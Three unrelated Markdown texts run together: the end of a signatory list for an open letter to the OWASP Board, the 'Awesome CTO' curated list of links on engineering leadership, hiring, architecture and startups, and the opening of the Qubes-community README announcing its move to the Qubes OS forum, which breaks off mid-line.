[OWASP Mobile Application Security](http://mas.owasp.org), Co-Project Leader of OWASP MASVS and MASTG<br> Jeroen Beckers, [OWASP Mobile Application Security](http://mas.owasp.org), Co-Author of OWASP MASVS and MASTG<br> Shubham Palriwala, [OWASP Juice Shop](https://owasp-juice.shop) Core Team member<br> Pinaki Mondal, Open Source Security Tools Developer<br> Zsolt Imre, CTO at private company<br> Eoin Keary, Former OWASP Global Board Vice Chair (2010-2015), Former Testing and Code Review Guide lead<br> Deepayan Chanda, Principal Cybersecurity Architect<br> Martín Marsicano, OWASP Lifetime Member, Former Chapter Leader OWASP Uruguay and several projects contributor<br> Paul Schwarzenberger, [OWASP Domain Protect](https://owasp.org/www-project-domain-protect) creator and project leader<br> Abraham Aranguren, [OWASP OWTF Project](https://owasp.org/www-project-owtf/) creator and project leader<br> Viyat Bhalodia, [OWASP OWTF Project](https://owasp.org/www-project-owtf/) project leader<br> Dave Ferguson, Project contributor and former chapter leader<br> Josh Larsen, OWASP Lifetime Member<br> Sergey Pronin, Principal Security Architect, OWASP Lifetime Member<br> James, BugBounter, Pentester and OWASP passionate<br> Kevin W. Wall, [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/) project co-lead, OWASP Lifetime Member, and [OWASP ZAP](https://www.zaproxy.org/) and [OWASP Cheat Sheets Series](https://cheatsheetseries.owasp.org/) contributor<br> Cesar Kohl, [OWASP ASVS](https://github.com/owasp/asvs) and [OWASP Cheat Sheets Series](https://cheatsheetseries.owasp.org/) contributor<br> Simon Whittaker, OWASP Lifetime Member<br> Frank Catucci, CTO and Head of Security Research at Invicti, OWASP Member and former OWASP Chapter Leader<br> Ingo Struck, Former OWASP Leader, creator of the name [WebGoat](https://github.com/WebGoat/WebGoat), OWASP Lifetime Member<br> Francesco Maria Ferazza, Director of IT, security lecturer and researcher<br> Antonio Montillo, OWASP enthusiast<br> Daniel Neagaru, [OWASP Raider](https://owasp.org/www-project-raider/) project leader<br> Rejah Rehim, [OWASP Kerala](https://owasp.org/www-chapter-kerala/) Chapter leader<br> Grant Ongers, OWASP Lifetime Member, [OWASP Cornucopia](https://owasp.org/www-project-cornucopia/) and [OWASP Application Security Curriculum](https://owasp.org/www-project-application-security-curriculum/) project co-lead<br> Patrick Reijnders, CISO, OWASP enthusiast; started using the Top Ten as a developer in 2004, now using it as a guideline for pentesting.<br> Jordan Pike, OWASP Member<br> Riotaro Okada, OWASP Lifetime member, OWASP Projects contributer, an OWASP Japan chapter lead<br> Magno Logan, OWASP Member since 2011, former [OWASP Paraiba Chapter Leader](https://owasp.org/chapters/status/#inactive) 2011-2016, [OWASP Paraiba Day 2012](https://owasp.org/www-pdf-archive/Plano_de_Patroc%C3%ADnio_-_OWASP_Para%C3%ADba_Day.pdf) Organizer, OWASP Portuguese Language Project contributor and [OWASP Top 10 Java EE](https://owasp.org/www-pdf-archive/Magno_Logan_AppSec_Latam_2011_-_OWASP_Top_10_+_JavaEE.pdf) translator<br> Steven van der Baan, OWASP Member and OWASP Cambridge co-lead<br> David Hunt, OWASP Member and OWASP Columbus co-lead<br> Mauricio Harley, OWASP Member, former OWASP Fortaleza chapter founder and leader, OWASP MSTG/MASVS contributor<br> Wael Ghandour, OWASP Member<br> Yevgeniy Goncharov, Open Source Security Tools Developer<br> <!-- Please: * Add your name at the end of the list. * Only link to OWASP projects or chapters * Do not include any company details Many thanks --> --- Published on 2023/02/13 --- This "Open Letter to the OWASP Board" is no longer accepting any changes.

# Awesome CTO > &mdash; Hello, my name is Dima and I'm a CTO > > &mdash; (chorus) Welcome, Dima A curated and **opinionated** list of resources for [Chief Technology Officers and VP R&D](https://kuchin.github.io/awesome-cto/), with the emphasis on startups and hyper-growth companies. 📢 [Subscribe to get updates](https://awesomecto.substack.com/) ## Contents * [CTO Position](#cto-position) * [Hiring](#hiring) * [People management](#people-management) * [Career growth](#career-growth) * [Project management](#project-management) * [Handbooks](#handbooks) * [Development process](#development-process) * [Architecture](#architecture) * [Technologies](#technologies) * [Data](#data) * [Startups](#startups) * [Due Diligence](#due-diligence) * [Money / Finance](#money--finance) * [Related stuff](#related-stuff) * [Product](#product) * [Marketing](#marketing) * [Books](#books) * [More links](#more-links) ## CTO Position * [The Different CTO Roles](https://www.allthingsdistributed.com/2007/07/the_different_cto_roles.html) - Werner Vogels *(Amazon CTO)* * [Is it required to be a developer to become a CTO?](https://www.quora.com/Is-it-required-to-be-a-developer-coder-to-become-a-CTO-Why-cant-an-architect-become-a-CTO) *(Quora)* * [Three Golden Rules to Finding a CTO](https://www.rudebaguette.com/2011/12/01/three-golden-rules-to-finding-a-cto/) * [Becoming a CTO](https://web.archive.org/web/20171128214925/https://juokaz.com/blog/becoming-a-cto) * [VP Engineering vs CTO](https://avc.com/2011/10/vp-engineering-vs-cto/) - Fred Wilson *(Union Square Ventures)* * [What makes for a successful CEO and CTO relationship in a startup?](https://www.quora.com/What-makes-for-a-successful-CEO-and-CTO-relationship-in-a-startup) *(Quora)* * [#define CTO](https://blog.gregbrockman.com/figuring-out-the-cto-role-at-stripe) - Greg Brockman *(Stripe CTO)* * [How my role as CTO has changed as we've grown to 100 engineers](https://engineering.gusto.com/how-my-role-as-cto-has-changed-as-weve-grown-to-100-engineers/) * [Your first 90 days as CTO or VP Engineering](https://lethain.com/first-ninety-days-cto-vpe/) - Will Larson * [How to spend your first 30 days in a new senior-level role](https://larahogan.me/blog/first-30-days-new-role/) * [The difference between a CTO and a VP Engineering](https://www.linkedin.com/pulse/20140615184118-4928723-the-differences-between-a-cto-and-a-vp-engineering/) ## Hiring * [The Guerrilla Guide to Interviewing](https://www.joelonsoftware.com/2006/10/25/the-guerrilla-guide-to-interviewing-version-30/) - Joel Spolsky *(StackOverflow co-founder)* * [The Joel Test: 12 Steps to Better Code](https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/) - Joel Spolsky * [Why Can't Programmers.. Program?](https://blog.codinghorror.com/why-cant-programmers-program/) - Jeff Atwood *(StackOverflow co-founder)* * [We Hire the Best, Just Like Everyone Else](https://blog.codinghorror.com/we-hire-the-best-just-like-everyone-else/) - Jeff Atwood * [Getting the Interview Phone Screen Right](https://blog.codinghorror.com/getting-the-interview-phone-screen-right/) - Jeff Atwood * [Engineering interview process at Stripe](https://www.quora.com/What-is-the-engineering-interview-process-like-at-Stripe) *(Quora)* * [Improving Our Engineering Interview Process](https://medium.com/foursquare-direct/improving-our-engineering-interview-process-106173ba25a9) *(Foursquare)* * [Hitting the High Notes](https://www.joelonsoftware.com/2005/07/25/hitting-the-high-notes/) - Joel Spolsky * [Top 10 System Design Interview Questions](https://hackernoon.com/top-10-system-design-interview-questions-for-software-engineers-8561290f0444) - *(HackerNoon)* * [How To Hire World-Class Engineers](https://angel.co/blog/how-to-hire-world-class-engineers) *(angel.co)* * [Trouble hiring senior engineers? It's probably you](https://hiringengineersbook.com/post/trouble-hiring/) * [The Real 11 Reasons I Don't Hire You](https://charity.wtf/2019/10/18/the-real-11-reasons-i-dont-hire-you/) - Charity Majors * [How to Interview at Amazon](https://www.linkedin.com/pulse/how-interview-amazon-leadership-david-anderson/) * [Lessons from Keith Rabois: How to Interview an Executive](https://delian.io/lessons-2) * [Lessons from Keith Rabois: How to Become a Magnet for Talent](https://delian.io/lessons-5) * [GitLab Talent Acquisition Framework](https://about.gitlab.com/handbook/hiring/talent-acquisition-framework/) * [Visualizing Tech Company Layoffs in 2022](https://www.visualcapitalist.com/visualizing-tech-company-layoffs-in-2022/) ## People Management * [The mythical 10x programmer](http://antirez.com/news/112) - Salvatore Sanfilippo *(author of Redis)* * [The Engineer/Manager Pendulum](https://charity.wtf/2017/05/11/the-engineer-manager-pendulum/) - Charity Majors * [Maker's Schedule, Manager's Schedule](http://www.paulgraham.com/makersschedule.html) - Paul Graham *(Y Combinator)* * [Software Engineering at Google](https://arxiv.org/pdf/1702.01715.pdf) * [Google re:Work](https://rework.withgoogle.com) * [44 Engineering Management Lessons](https://www.defmacro.org/2014/10/03/engman.html) (correct link to [non-violent communication](https://review.firstround.com/power-up-your-team-with-nonviolent-communication-principles) for lesson 34) * [The Secret To Discussing Pay With Employees](https://www.officevibe.com/blog/secret-to-discussing-pay-with-employees) * [Awesome Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing) *(Github)* * [Progressing from tech to leadership](https://lcamtuf.blogspot.com/2018/02/on-leadership.html) * [A Review Process](https://capwatkins.com/blog/a-review-process) - Cap Watkins * [12 manager readmes from top tech companies](https://hackernoon.com/12-manager-readmes-from-silicon-valleys-top-tech-companies-26588a660afe) * [Predictable Delivery](https://docs.google.com/presentation/d/1weEU1G-4JAhD6tRlYinYS1ZOHI_SAUQkvTBFBzi67G0/edit) * [How people rise up to EVP level in big organizations](https://www.quora.com/How-do-some-people-get-stuck-at-a-senior-engineer-position-while-a-few-starts-or-rise-up-to-EVP-level-in-big-organizations-like-Microsoft-Amazon-Apple-Google-What-exactly-should-I-keep-doing-to-go-up-the-ladder) *(Quora)* * [Should I Become a Manager?](https://capwatkins.com/blog/should-i-become-a-manager) - Cap Watkins * [How to fail as a new engineering manager](https://blog.usejournal.com/how-to-fail-as-a-new-engineering-manager-30b5fb617a) * [Design Patterns for Managing Up](https://queue.acm.org/detail.cfm?id=3308563) * [A Tactical Guide to Managing Up](https://review.firstround.com/a-tactical-guide-to-managing-up-30-tips-from-the-smartest-people-we-know) * [Engineering Management](https://github.com/charlax/engineering-management) *(Github)* * [On-boarding Software Engineers](https://medium.com/@odedmagger/on-boarding-software-engineers-10-techniques-to-get-it-right-927cb73e3dab) * [Hold Your Team Accountable](https://www.dave-bailey.com/blog/accountability-dial) * [The Manager FAQ](https://www.seebs.net/faqs/manager.html) * [The Power of Performance Reviews](https://firstround.com/review/the-power-of-performance-reviews-use-this-system-to-become-a-better-manager/) * [Performance reviews are coming up](https://www.linkedin.com/posts/gergelyorosz_performancereviews-softwarengineering-career-activity-7008079544171528192-D2fF/) - Gergely Orosz * [Principles of Engineering Management](https://medium.com/swlh/principles-of-engineering-management-c9cae1b34a8b) * [Compensation Best Practices](https://www.payscale.com/cbpr) * [Draw The Owl and Other Company Values You Didn’t Know You Should Have](https://firstround.com/review/draw-the-owl-and-other-company-values-you-didnt-know-you-should-have/) * [A MANAGER’S BILL OF RESPONSIBILITIES (AND RIGHTS)](https://charity.wtf/2019/10/30/a-managers-bill-of-responsibilities-and-rights/) * [After Being A Manager, Can I Be Happy As A Cog?](https://charity.wtf/2019/11/23/questionable-advice-after-being-a-manager-can-i-be-happy-as-a-cog/) * [Increment: Teams](https://increment.com/teams/) * [Hacking team communications](https://noamelf.com/posts/hacking-team-communications/) * [How to build a startup engineering team](https://increment.com/teams/how-to-build-a-startup-engineering-team/) * [Hug your manager](https://buttondown.email/cote/archive/hug-your-manager/) * [Lessons from Keith Rabois: How to be an Effective Executive](https://delian.io/lessons-3) * [How Context Switching Sabotages Your Productivity](https://blog.doist.com/context-switching/) * [10,000 Hours with Reid Hoffman: What I Learned](https://casnocha.com/reid-hoffman-lessons) * [7 Ways to Set Up a New Hire for Success](https://hbr.org/2019/05/7-ways-to-set-up-a-new-hire-for-success) * [How to get promoted](https://www.spakhm.com/p/how-to-get-promoted) * [Individuals matter](https://danluu.com/people-matter/) * [Mandate Levels](https://cutlefish.substack.com/p/tbm-2752-mandate-levels) * [10 ideas for building great culture in a distributed (remote) team](https://twitter.com/nathanbarry/status/1520442729397858304) * [Adapting to Endure / Crisis management](https://www.sequoiacap.com/adapting-to-endure-2022/) - Sequoia * [Mochary Method Curriculum](https://docs.google.com/document/d/18FiJbYn53fTtPmphfdCKT2TMWH-8Y2L-MLqDk-MFV4s/preview) - Matt Mochary * [Meetings for an effective eng organization](https://lethain.com/eng-org-meetings/) - Will Larson * [The One Key to Dealing with Senior Executives: Answer the Question!](https://kellblog.com/2012/01/17/the-one-key-to-dealing-with-senior-executives-answer-the-question/) * [Step by step guide to building high performing teams](https://mm-coaches.notion.site/Step-by-step-guide-to-building-high-performing-teams-a1d3c70c031144738943e043933d3267) * [Cycle times](https://boz.com/articles/cycle-times) - Andrew Bosworth ## Career growth * [Career Growth Frameworks in Software Engineering: A Review](https://web.archive.org/web/20210123114037/https://medium.com/better-programming/career-growth-frameworks-in-software-engineering-a-review-4aa6c59a9cf6) * [Software Engineers Growth framework](https://prontopro.engineering/blog/software-engineer-growth-framework) * [Software Engineering Ladders](https://github.com/jorgef/engineeringladders) *(GitHub)* * [Awesome Engineering Ladders](https://github.com/posquit0/awesome-engineering-ladders) *(GitHub)* * Reverse Interview * [The Reverse Interview: How To Choose Your Next Company](https://www.reforge.com/blog/reverse-interview) * [Reverse Interviewing — How to interview a company as well as they interview you](https://www.fishmanafnewsletter.com/p/how-to-reverse-interview) * [Reverse Interview Questions](https://github.com/viraptor/reverse-interview) *(GitHub)* ## Project management * [Evidence Based Scheduling](https://www.joelonsoftware.com/2007/10/26/evidence-based-scheduling/) - Joel Spolsky *(StackOverflow co-founder)* * [How Big Tech Runs Tech Projects and the Curious Absence of Scrum](https://newsletter.pragmaticengineer.com/p/project-management-in-tech) - Gergely Orosz * [The Secret to a Great Planning Process — Lessons from Airbnb and Eventbrite](https://review.firstround.com/the-secret-to-a-great-planning-process-lessons-from-airbnb-and-eventbrite) * [What TPMs Do and What Software Engineers Can Learn From Them](https://newsletter.pragmaticengineer.com/p/what-tpms-do) - Gergely Orosz * [How to Scope a New Feature](https://www.prodify.group/blog/how-to-scope-a-new-feature) * [Measuring an engineering organization](https://lethain.com/measuring-engineering-organizations/) - Will Larson ## Handbooks * [The Atlassian Team Playbook](https://www.atlassian.com/team-playbook) * [Valve Employee Handbook](https://www.valvesoftware.com/company/Valve_Handbook_LowRes.pdf) * [Basecamp Employee Handbook](https://github.com/basecamp/handbook) * [GitLab Team Handbook](https://about.gitlab.com/handbook/) * [How HashiCorp Works](https://works.hashicorp.com/) ## Development process * Scrum / Agile * [Introduction to Scrum for Managers and Executives](https://www.goodagile.com/resources/goodagile_managers_presentation.pdf) * [Writing User Stories, Examples and Templates In Agile Methodologies](http://www.yodiz.com/blog/writing-user-stories-examples-and-templates-in-agile-methodologies/) * CI / CD * [What are the fundamental principles of continuous integration?](https://www.quora.com/What-are-the-fundamental-principles-of-continuous-integration) * [The Product Managers’ Guide to Continuous Delivery and DevOps](https://www.mindtheproduct.com/2016/02/what-the-hell-are-ci-cd-and-devops-a-cheatsheet-for-the-rest-of-us/) * Git * [Comparing Git workflows](https://www.atlassian.com/git/tutorials/comparing-workflows) * [A successful Git branching model](https://nvie.com/posts/a-successful-git-branching-model/) * Alternative: [Trunk Based Development](https://www.atlassian.com/continuous-delivery/continuous-integration/trunk-based-development) (focused on [DevOps and CI/CD](https://cloud.google.com/solutions/devops/devops-tech-trunk-based-development)) * Tech debt * [Why You Should Learn to Stop Worrying and Love Technical Debt](https://marker.medium.com/why-you-should-learn-to-stop-worrying-and-love-technical-debt-55bb5684f94c) * [It’s Time to Rethink Technical Debt Management](https://www.sealights.io/blog/its-time-to-rethink-technical-debt-management/) * Crisis * [How to Write a Postmortem](https://web.archive.org/web/20210618014202/https://blog.serverdensity.com/how-to-write-a-postmortem/) * [List of Post-mortems](https://github.com/danluu/post-mortems) *(GitHub)* * [Startup Lessons Learned - Five Whys](http://www.startuplessonslearned.com/2008/11/five-whys.html) - Eric Ries *(creator of the Lean Startup)* * [On Call Rotations: How Best to Wake Devs Up in the Middle of the Night](https://thenewstack.io/call-rotations-best-wake-devs-middle-night/) * [Testing in Production, the safe way](https://medium.com/@copyconstruct/testing-in-production-the-safe-way-18ca102d0ef1) * Error handling * [When life gives you lemons, write better error messages](https://wix-ux.com/when-life-gives-you-lemons-write-better-error-messages-46c5223e1a2f) ## Architecture * [Twelve-Factor App](https://12factor.net) * [Reactive Manifesto](https://www.reactivemanifesto.org) * [An introduction to distributed systems](https://github.com/aphyr/distsys-class) - Kyle Kingsbury *(aphyr, author of Jepsen)* * [Microservices – Please, don’t](https://riak.com/posts/technical/microservices-please-dont/) (also: [HackerNews discussion](https://news.ycombinator.com/item?id=12508655)) * [GitHub CTO – Biggest architectural mistake was going full microservice](https://twitter.com/jasoncwarner/status/1592227285024636928) (also: [HackerNews discussion](https://news.ycombinator.com/item?id=33601658)) * [The Death of Microservice Madness in 2018](https://www.dwmkerr.com/the-death-of-microservice-madness-in-2018/) * [Shrinking microservices to functions](https://highscalability.com/blog/2017/3/27/faster-networks-cheaper-messages-microservices-functions-edg.html) * [Design patterns for microservices](https://azure.microsoft.com/en-us/blog/design-patterns-for-microservices/) * [Serverless architecture](https://www.quora.com/What-is-Serverless-Computing) *(Quora)* * [Serverless framework](https://www.serverless.com) * [Best Practices for Designing a Pragmatic RESTful API](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) * [10 Modern Software Over-Engineering Mistakes](https://medium.com/@rdsubhas/10-modern-software-engineering-mistakes-bc67fbef4fc8) * [How I Write Tests](https://blog.nelhage.com/2016/12/how-i-test/) * [Lambda Architecture](https://en.wikipedia.org/wiki/Lambda_architecture) * [Awesome Scalability](https://github.com/binhnguyennus/awesome-scalability) *(GitHub)* * [The Single Most Important Internal Email in the History of Amazon](https://www.sametab.com/blog/frameworks-for-remote-working) * [Build Your Own X](https://github.com/danistefanovic/build-your-own-x) *(GitHub)* * [Accentuate the negative: making the non-perfect decision. Technical decision making](https://leaddev.com/technical-decision-making/accentuate-negative-making-non-perfect-decision) ## Technologies * General * [Developer Roadmaps](https://github.com/kamranahmedse/developer-roadmap) *(GitHub)* * [Coding Interview University](https://github.com/jwasham/coding-interview-university) *(GitHub)* * [Big-O explained in plain English](https://stackoverflow.com/a/487278/472433) * Javascript * [JS: The Right Way](http://jstherightway.org) * [Frontend developer handbook 2019](https://frontendmasters.com/guides/front-end-handbook/2019/) * Big scale * [What is CAP Theorem?](https://www.quora.com/What-Is-CAP-Theorem-1) *(Quora)* * [CAP Theorem: Revisited](https://robertgreiner.com/cap-theorem-revisited/) * Security * [Awesome Security](https://github.com/sbilly/awesome-security) *(GitHub)* * [SaaS CTO Security Checklist](https://web.archive.org/web/20230324072622/https://www.goldfiglabs.com/guide/saas-cto-security-checklist/) * Search * [Open Guide to Search Engineering](https://github.com/open-guides/og-search-engineering) *(GitHub)* * Cloud * [Open Guide to Amazon Web Services](https://github.com/open-guides/og-aws) *(GitHub)* * [Amazon AWS in Plain English](https://www.expeditedssl.com/aws-in-plain-english) * [Microsoft Azure in Plain English](https://web.archive.org/web/20190508145128/https://www.expeditedssl.com/azure-in-plain-english) * [Google Cloud Services for the AWS expert](https://cloudacademy.com/blog/google-cloud-services-aws-expert/) * Pricing * [Awesome Billing](https://github.com/kdeldycke/awesome-billing) *(GitHub)* * [Awesome PriceOps](https://github.com/priceops/awesome-priceops) *(GitHub)* ## Data * [NoSQL Databases: a Survey and Decision Guidance](https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d) * [Evolutionary Database Design](https://martinfowler.com/articles/evodb.html) *(Martin Fowler)* * [Database Migrations Done Right](https://www.brunton-spall.co.uk/post/2014/05/06/database-migrations-done-right/) * [A reference guide for fintech & small-data engineering](https://medium.com/dangerous-engineering/a-reference-guide-for-fintech-small-data-engineering-bd65b9796d90) * [Building a data team at a mid-stage startup: a short story](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html) * [DataOps](https://en.wikipedia.org/wiki/Dataops) * [Databases in 2022: A Year in Review](https://ottertune.com/blog/2022-databases-retrospective/) * Data Science * [Building a data science team](https://fastdatascience.com/building-a-data-science-team/) * [Managing Data Science Teams](https://www.dominodatalab.com/resources/field-guide/managing-data-science-teams/) * [How to Structure a Data Science Team](https://www.altexsoft.com/blog/datascience/how-to-structure-data-science-team-key-models-and-roles/) * Machine Learning * [Awesome Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) *(GitHub)* * [Best resources of everyday ML learning](https://www.quora.com/As-a-data-scientist-what-is-your-best-resource-of-everyday-learning) *(Quora)* * [Machine Learning Crash Course: with TensorFlow APIs](https://developers.google.com/machine-learning/crash-course/) *(Google)* * [Deep Learning For Coders](https://course.fast.ai) * [Awesome Production Machine Learning](https://github.com/EthicalML/awesome-production-machine-learning) *(GitHub)* * [Weapons of Math Destruction](https://en.wikipedia.org/wiki/Weapons_of_Math_Destruction) ## Startups * [What are the things startups have to get right?](https://www.quora.com/What-are-the-things-startups-have-to-get-right) *(Quora)* * [85 Things I learned being a CEO](https://hackernoon.com/85-things-i-learned-being-a-ceo-4c25fc1c7b99) * [What’s the Second Job of a Startup CEO?](https://blog.ycombinator.com/the-second-job-of-a-startup-ceo/) * [Things I will tell my kids if they become entrepreneurs](https://www.slideshare.net/laurenthaug/things-i-will-tell-my-kids-if-they-become-entrepreneurs) * [What do VCs really look for when making investments?](https://www.quora.com/What-do-VCs-really-look-for-when-making-investments) *(Quora)* * [As an employee of a startup, how do you know when to quit?](https://www.quora.com/As-an-employee-of-a-startup-how-do-you-know-when-to-quit) *(Quora)* * [Pitch deck collection from VC funded startups](https://www.alexanderjarvis.com/pitch-deck-collection-from-vc-funded-startups/) * [YC’s Series A Diligence Checklist](https://blog.ycombinator.com/ycs-series-a-diligence-checklist/) * [Startup Playbook](https://playbook.samaltman.com) - Sam Altman * [Y Combinator Startup Class](https://startupclass.samaltman.com) * [Lean Canvas](https://leanstack.com/leancanvas) + [Miro template](https://miro.com/templates/lean-canvas/) * [Open Source Pitch Deck Templates for Figma](https://www.figmafinder.com/figma-pitch-deck) * [List of startups that had successful pivots](https://github.com/fikrikarim/companies-with-successful-pivot) *(GitHub)* ## Due Diligence * [Technology Due Diligence Checklist](https://akfpartners.com/growth-blog/technical-due-diligence-checklists) * [Technical Due Diligence Questions](https://github.com/altunyurt/technical_due_diligence) *(GitHub)* * [IT Department Tech Due Diligence Checklist](https://gist.github.com/raphaelbauer/b31d49d91a0af6c1106bfc8ef4bf6d13) * [A Guide to Surviving Tech Due Diligence](https://circleci.com/resources/tech-due-diligence/) ## Money / Finance * Startups * [IPOs and Beyond: A Guide to Exit Options for Companies](https://future.a16z.com/ipos-and-beyond-a-guide-to-exit-options-for-companies/) * [What would a CTO equity be for a small startup?](https://www.quora.com/What-would-a-CTO-compensation-equity-be-for-a-small-startup) *(Quora)* * [Options vs Cash](https://danluu.com/startup-options/) * [How To Invest In Startups](https://blog.samaltman.com/how-to-invest-in-startups) - Sam Altman * [A Guide to Seed Fundraising](https://blog.ycombinator.com/how-to-raise-a-seed-round/) * [Startup Economics equity calculator](https://smartasset.com/infographic/startup) * [Option grants at seed](https://www.indexventures.com/rewardingtalent/option-grants-at-seed) * [Joining the new startup, with a handsome stock option allocation](https://twitter.com/gergelyorosz/status/1601134509424267264) - Gergely Orosz * [Equity 101 for Software Engineers at Big Tech and Startups](https://blog.pragmaticengineer.com/equity-for-software-engineers/) - Gergely Orosz * Big companies * [Financial Planning & Analysis @ GitLab](https://about.gitlab.com/handbook/finance/financial-planning-and-analysis/) * [Framework for balancing and budgeting engineering resourcing](https://medium.com/engineering-operations/a-framework-for-balancing-and-budgeting-engineering-resourcing-d0cce0e6911c) * [Negotiate the right deal with suppliers](https://www.infoentrepreneurs.org/en/guides/negotiate-the-right-deal-with-suppliers/) * [Strategic Procurements 10 Commandments for Managing the Buying Process](https://strategicdynamicsfirm.com/strategic-procurements-10-commandments-managing-hospital-buying-process/) ## Related stuff * [Knowledge-Sharing Architects As An Alternative to Coding Architects](http://ithare.com/knowledge-sharing-architects-as-an-alternative-to-coding-architects/) * [Ten Rules for Negotiating a Job Offer](https://haseebq.com/my-ten-rules-for-negotiating-a-job-offer/) (also: [HackerNews discussion](https://news.ycombinator.com/item?id=12197795)) * [Salary Negotiation: Make More Money, Be More Valued](https://www.kalzumeus.com/2012/01/23/salary-negotiation/) * [What are best practices of experienced programmers?](https://www.quora.com/What-are-some-traits-practices-of-experienced-good-programmers-that-every-beginner-programmer-should-know) *(Quora)* * [Falsehoods Programmers Believe About Names](https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/) * [2016 European Software Development Salary Survey](http://web.archive.org/web/20170412051943/https://www.oreilly.com/programming/free/files/2016-european-software-development-salary-survey.pdf) *(O'Reilly)* * [DevOps: Bringing development and operations together](https://www.atlassian.com/devops) *(Atlassian)* * [How to Prepare a Talk](https://www.deconstructconf.com/blog/how-to-prepare-a-talk) * [Undervalued Software Engineering Skills: Writing Well](https://blog.pragmaticengineer.com/on-writing-well/) - Gergely Orosz * [The Pyramid Principle](https://medium.com/lessons-from-mckinsey/the-pyramid-principle-f0885dd3c5c7) * [Senior Engineer’s Checklist](https://medium.com/@littleblah/my-top-25-items-in-a-senior-engineers-checklist-c8e9f9f6e3c2) * [How to Use OpenAPI and Swagger for Documentation](https://blog.readme.com/how-to-use-openapi-and-swagger-spec-for-documentation/) ## Product * [What Makes a Great Product Manager](https://hackernoon.com/what-makes-a-great-product-manager-3c1d03b90356) * [If You Don’t Think You Need a VP of Product...](https://www.saastr.com/if-you-dont-think-you-need-a-vp-of-product-marketing-etc-then-you-havent-worked-with-a-great-one/) * [Red Oceans: How to Find Profitable Startup Ideas](https://capitalandgrowth.org/answers/Article/3143488/How-to-Find-Profitable-Business-Ideas) * [Product North Star Metric](https://amplitude.com/blog/product-north-star-metric) * [What distinguishes the Top 1% of product managers from the Top 10%?](https://www.quora.com/What-distinguishes-the-Top-1-of-product-managers-from-the-Top-10/answer/Ian-McAllister) - *(Quora)* * [How to Hire a Product Manager](https://www.kennorton.com/essays/productmanager.html) * [The Secrets Of Creative Thinking](https://www.lemonade.com/blog/creative-thinking-hacks/) * [StellarPeers - Product Management Interviews](https://medium.com/stellarpeers) * [Product vs. Feature Teams](https://svpg.com/product-vs-feature-teams/) * [Most Startups Should Be Deer Hunters](https://bothsidesofthetable.com/most-startups-should-be-deer-hunters-7fdecf58f4f6) * [Shape Up: Stop Running in Circles and Ship Work that Matters](https://basecamp.com/shapeup) * [How to Write Your First Strategic Roadmap](https://ganotnoa.com/how-to-write-your-first-strategic-roadmap-part-1/) * [Execution at Facebook](https://productlife.to/p/-execution-at-facebook) * [8 Product Hurdles Every Founder Must Clear](https://review.firstround.com/8-product-hurdles-every-founder-must-clear-this-pm-turned-founder-shares-his-playbooks) * [The Top 10 Deliverables of Product Managers](https://www.sachinrekhi.com/top-10-deliverables-of-product-managers) * [Product Manager Career Ladders](https://docs.google.com/spreadsheets/d/1F1Y3YtjsvAJUZMqS-rK0LGQGg7eHYubq9KqedPwLCDE/edit#gid=1578462935) - Lenny Rachitsky * [Awesome Product Management](https://github.com/dend/awesome-product-management) *(GitHub)* * [Awesome Product Manager](https://github.com/yuhenobi/awesome-product-manager) *(GitHub)* ## Marketing * [Developer Marketing Guide](https://www.devmarketingguide.com) * [Top Resources for Startup Marketing and PR](https://docs.google.com/spreadsheets/d/1tAiya71mDQgtwn_F9-mNQhuc7GdsQ5e2_BeG69Cb82A/edit#gid=0) * [SaaS Email Marketing Handbook](https://saasemailmarketing.net) * [How today's fastest growing B2B businesses found their first ten customers](https://www.lennysnewsletter.com/p/how-todays-fastest-growing-b2b-businesses) ## Books * [Epic CTO Reading List](https://www.goodreads.com/list/show/36429.Epic_CTO_Reading_List) * [The Mythical Man-Month](https://en.wikipedia.org/wiki/The_Mythical_Man-Month) ## More links * [Awesome Falsehood](https://github.com/kdeldycke/awesome-falsehood) *(GitHub)* * [Engineering blogs](https://github.com/kilimchoi/engineering-blogs) *(GitHub)* * [Awesome Awesomeness](https://github.com/bayandin/awesome-awesomeness) *(GitHub)* * [Awesome.re](https://github.com/sindresorhus/awesome) *(GitHub)* * [Chief Technology Officer vs Coder Thinker Organizer](https://github.com/92bondstreet/cto) *(GitHub)* * [Senior Software Engineer](https://staffeng.com) * [Socal CTO](https://www.socalcto.com/2011/09/startup-cto.html) * [Curated list of CTO resources](https://github.com/92bondstreet/cto) *(GitHub)* * [Awesome CTO Resources](https://github.com/mateusz-brainhub/awesome-cto-resources) *(GitHub)* * [Free Tools for Developers](https://free-for.dev) * [NfX - The Founder Library](https://www.nfx.com) * [foundr - Advices from founders](https://foundr.com/articles) * [The Leadership Library for Engineers](https://leadership-library.dev) * [Rands Leadership Slack](https://randsinrepose.com/welcome-to-rands-leadership-slack/) * [Engineering Managers Slack](https://engmanagers.github.io) ## Other - [Awesome CEO](https://github.com/kuchin/awesome-ceo) *(GitHub)* - [Awesome TPM](https://github.com/kuchin/awesome-tpm) *(GitHub)* ## License [](https://creativecommons.org/publicdomain/zero/1.0/)

# Qubes-community resources have been moved to the [Qubes OS forum](https://forum.qubes-os.org)! **August 2023: the migration of qubes-community's resources is complete and qubes-community resources are now "live" in the forum. The content here is now in a (soft) read-only state.** **Please see the related forum [announcement](https://forum.qubes-os.org/t/announcement-qubes-community-project-has-been-migrated-to-the-forum/20367).** **Thank you !** The qubes-community project admins. --- **The content below is kept for reference only - please contribute new or related content in the forum.** For more information about this project, please see [this page](https://qubes-community.github.io/). This repository hosts user-contributed documentation and code/resources. Pending submissions, reviews and QA can be seen in this repository's [issues](https://github.com/Qubes-Community/Contents/issues) and [pull requests](https://github.com/Qubes-Community/Contents/pulls). ## User-contributed documentation and links ( icon) to third party docs [Infrequently Asked Questions](/docs/misc/iaq.adoc) (forum [guide](https://forum.qubes-os.org/t/19122)) `common-tasks` - [how to copy files (and sparse files) from a VM to dom0](/docs/common-tasks/copying-files-to-dom0.md) (forum [guide](https://forum.qubes-os.org/t/19025)) - [how to open URLs in another VM](/docs/common-tasks/opening-urls-in-vms.md) (forum [guide](https://forum.qubes-os.org/t/19026)) `configuration` -  [use Qubes 3.2 OS as a network server](https://github.com/Rudd-O/qubes-network-server) -  [use Qubes OS as a 